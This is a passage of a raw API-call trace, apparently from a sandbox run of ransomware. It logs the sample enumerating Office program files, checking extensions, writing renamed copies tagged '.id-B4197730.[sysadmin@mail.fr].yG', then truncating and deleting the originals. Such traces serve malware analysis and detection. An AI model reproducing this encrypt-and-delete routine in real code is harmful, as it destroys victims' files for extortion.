	[0159.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1
	[0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.890] lstrlenW (lpString=".doc") returned 4
	[0159.890] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0159.890] lstrlenW (lpString=".docx") returned 5
	[0159.890] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0159.890] lstrlenW (lpString=".pdf") returned 4
	[0159.890] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0159.890] lstrlenW (lpString=".xls") returned 4
	[0159.890] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0159.890] lstrlenW (lpString=".xlsx") returned 5
	[0159.893] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0159.893] lstrlenW (lpString=".ppt") returned 4
	[0159.893] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.893] lstrlenW (lpString=".zip") returned 4
	[0159.893] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0159.893] lstrlenW (lpString=".rar") returned 4
	[0159.893] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0159.893] lstrlenW (lpString=".bz2") returned 4
	[0159.893] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0159.893] lstrlenW (lpString=".7z") returned 3
	[0159.893] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.893] lstrlenW (lpString=".dbf") returned 4
	[0159.893] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.894] lstrlenW (lpString=".1cd") returned 4
	[0159.894] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.894] lstrlenW (lpString=".jpg") returned 4
	[0159.894] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.894] lstrlenW (lpString=".doc") returned 4
	[0159.894] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0159.894] lstrlenW (lpString=".docx") returned 5
	[0159.894] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0159.894] lstrlenW (lpString=".pdf") returned 4
	[0159.894] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0159.894] lstrlenW (lpString=".xls") returned 4
	[0159.894] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0159.894] lstrlenW (lpString=".xlsx") returned 5
	[0159.894] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0159.894] lstrlenW (lpString=".ppt") returned 4
	[0159.894] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.894] lstrlenW (lpString=".zip") returned 4
	[0159.894] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0159.894] lstrlenW (lpString=".rar") returned 4
	[0159.894] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0159.895] lstrlenW (lpString=".bz2") returned 4
	[0159.895] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0159.895] lstrlenW (lpString=".7z") returned 3
	[0159.895] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.895] lstrlenW (lpString=".dbf") returned 4
	[0159.895] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.895] lstrlenW (lpString=".1cd") returned 4
	[0159.895] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0159.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0159.895] lstrlenW (lpString=".jpg") returned 4
	[0159.895] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0159.895] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0159.895] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28
	[0159.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0159.913] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=595977) returned 1
	[0159.913] CloseHandle (hObject=0x51c) returned 1
	[0159.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220
	[0159.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0159.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0159.914] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.914] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0159.915] GetLastError () returned 0x0
	[0159.915] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x91809, lpOverlapped=0x0) returned 1
	[0160.309] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x91810, lpOverlapped=0x0) returned 1
	[0160.323] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.323] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10c, lpOverlapped=0x0) returned 1
	[0160.323] SetEndOfFile (hFile=0x55c) returned 1
	[0160.323] CloseHandle (hObject=0x55c) returned 1
	[0160.323] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.323] SetEndOfFile (hFile=0x51c) returned 1
	[0160.532] CloseHandle (hObject=0x51c) returned 1
	[0160.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1
	[0161.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.303] lstrlenW (lpString=".doc") returned 4
	[0161.303] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0161.303] lstrlenW (lpString=".docx") returned 5
	[0161.304] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0161.304] lstrlenW (lpString=".pdf") returned 4
	[0161.304] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0161.304] lstrlenW (lpString=".xls") returned 4
	[0161.304] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0161.304] lstrlenW (lpString=".xlsx") returned 5
	[0161.304] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0161.304] lstrlenW (lpString=".ppt") returned 4
	[0161.304] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0161.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.304] lstrlenW (lpString=".zip") returned 4
	[0161.304] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0161.304] lstrlenW (lpString=".rar") returned 4
	[0161.304] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0161.304] lstrlenW (lpString=".bz2") returned 4
	[0161.304] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0161.304] lstrlenW (lpString=".7z") returned 3
	[0161.304] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0161.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.304] lstrlenW (lpString=".dbf") returned 4
	[0161.304] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0161.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.304] lstrlenW (lpString=".1cd") returned 4
	[0161.305] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0161.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.305] lstrlenW (lpString=".jpg") returned 4
	[0161.305] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0161.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.305] lstrlenW (lpString=".doc") returned 4
	[0161.305] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0161.305] lstrlenW (lpString=".docx") returned 5
	[0161.305] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0161.305] lstrlenW (lpString=".pdf") returned 4
	[0161.305] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0161.305] lstrlenW (lpString=".xls") returned 4
	[0161.305] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0161.305] lstrlenW (lpString=".xlsx") returned 5
	[0161.305] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0161.305] lstrlenW (lpString=".ppt") returned 4
	[0161.305] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0161.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.305] lstrlenW (lpString=".zip") returned 4
	[0161.305] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0161.305] lstrlenW (lpString=".rar") returned 4
	[0161.305] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0161.306] lstrlenW (lpString=".bz2") returned 4
	[0161.306] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0161.306] lstrlenW (lpString=".7z") returned 3
	[0161.306] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0161.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.306] lstrlenW (lpString=".dbf") returned 4
	[0161.306] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0161.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.306] lstrlenW (lpString=".1cd") returned 4
	[0161.306] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0161.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79
	[0161.306] lstrlenW (lpString=".jpg") returned 4
	[0161.306] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0161.306] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.306] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24
	[0161.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.312] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=10631) returned 1
	[0161.312] CloseHandle (hObject=0x548) returned 1
	[0161.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220
	[0161.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.313] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.313] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0161.314] GetLastError () returned 0x0
	[0161.314] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2987, lpOverlapped=0x0) returned 1
	[0161.316] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2990, lpOverlapped=0x0) returned 1
	[0161.318] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.318] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x104, lpOverlapped=0x0) returned 1
	[0161.318] SetEndOfFile (hFile=0x38c) returned 1
	[0161.318] CloseHandle (hObject=0x38c) returned 1
	[0161.318] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.318] SetEndOfFile (hFile=0x548) returned 1
	[0161.322] CloseHandle (hObject=0x548) returned 1
	[0161.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.323] lstrlenW (lpString=".doc") returned 4
	[0161.323] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.323] lstrlenW (lpString=".docx") returned 5
	[0161.323] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.323] lstrlenW (lpString=".pdf") returned 4
	[0161.324] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString=".xls") returned 4
	[0161.324] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString=".xlsx") returned 5
	[0161.324] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.324] lstrlenW (lpString=".ppt") returned 4
	[0161.324] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.324] lstrlenW (lpString=".zip") returned 4
	[0161.324] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString=".rar") returned 4
	[0161.324] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString=".bz2") returned 4
	[0161.324] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString=".7z") returned 3
	[0161.324] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.324] lstrlenW (lpString=".dbf") returned 4
	[0161.324] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.324] lstrlenW (lpString=".1cd") returned 4
	[0161.324] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.324] lstrlenW (lpString=".jpg") returned 4
	[0161.324] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.325] lstrlenW (lpString=".doc") returned 4
	[0161.325] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString=".docx") returned 5
	[0161.325] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.325] lstrlenW (lpString=".pdf") returned 4
	[0161.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString=".xls") returned 4
	[0161.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString=".xlsx") returned 5
	[0161.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.325] lstrlenW (lpString=".ppt") returned 4
	[0161.325] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.325] lstrlenW (lpString=".zip") returned 4
	[0161.325] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString=".rar") returned 4
	[0161.325] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString=".bz2") returned 4
	[0161.325] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.325] lstrlenW (lpString=".7z") returned 3
	[0161.325] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.325] lstrlenW (lpString=".dbf") returned 4
	[0161.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.326] lstrlenW (lpString=".1cd") returned 4
	[0161.326] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0161.326] lstrlenW (lpString=".jpg") returned 4
	[0161.326] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.326] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.326] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25
	[0161.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.327] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=20778) returned 1
	[0161.327] CloseHandle (hObject=0x548) returned 1
	[0161.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220
	[0161.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.328] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.328] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0161.329] GetLastError () returned 0x0
	[0161.329] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x512a, lpOverlapped=0x0) returned 1
	[0161.344] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5130, lpOverlapped=0x0) returned 1
	[0161.346] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.346] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x106, lpOverlapped=0x0) returned 1
	[0161.346] SetEndOfFile (hFile=0x38c) returned 1
	[0161.346] CloseHandle (hObject=0x38c) returned 1
	[0161.346] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.346] SetEndOfFile (hFile=0x548) returned 1
	[0161.356] CloseHandle (hObject=0x548) returned 1
